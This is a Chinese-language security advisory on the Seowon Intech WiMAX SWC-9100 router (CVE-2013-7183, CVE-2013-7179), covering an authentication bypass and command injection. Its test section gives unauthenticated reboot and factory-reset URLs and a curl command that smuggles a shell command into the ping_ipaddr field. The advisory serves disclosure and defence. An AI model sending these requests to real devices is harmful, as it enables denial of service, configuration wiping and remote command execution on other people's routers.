发布日期：2014-02-03
更新日期：2014-02-12

受影响系统：

seowonintech WiMAX SWC-9100 Mobile Router

描述：

---

BUGTRAQ  ID: 65306
CVE(CAN) ID: CVE-2013-7183,CVE-2013-7179

WiMAX SWC-9100是移动路由器产品。

Seowon Intech SWC-9100路由器上的cgi-bin/reboot.cgi存在安全限制绕过和命令注入漏洞，远程攻击者通过default_reboot操作造成拒绝服务，或factory_default操作重置所有配置值。

<*来源：Josue Rojas
  
  链接：http://www.kb.cert.org/vuls/id/431726
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Security Bypass:

http://www.example.com/cgi-bin/reboot.cgi?select_option_value=factory_default&reboot_option=on&action=Apply
http://www.example.com/cgi-bin/reboot.cgi?select_option_value=default_reboot&reboot_option=on&action=Apply

Command Injection:

curl -v --data "select_mode_ping=on&ping_ipaddr=127.0.0.1>/dev/null; ls
-lash /etc%23&ping_count=1&action=Apply&html_view=ping"
"http://www.example.com/cgi-bin/diagnostic.cgi" > /dev/null

建议：

---

厂商补丁：

seowonintech
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.seowonintech.co.kr/en/product/detail.asp?num=117&big_kind=B04&middle_kind=B04_07

浏览次数：1851
严重程度：0（网友投票）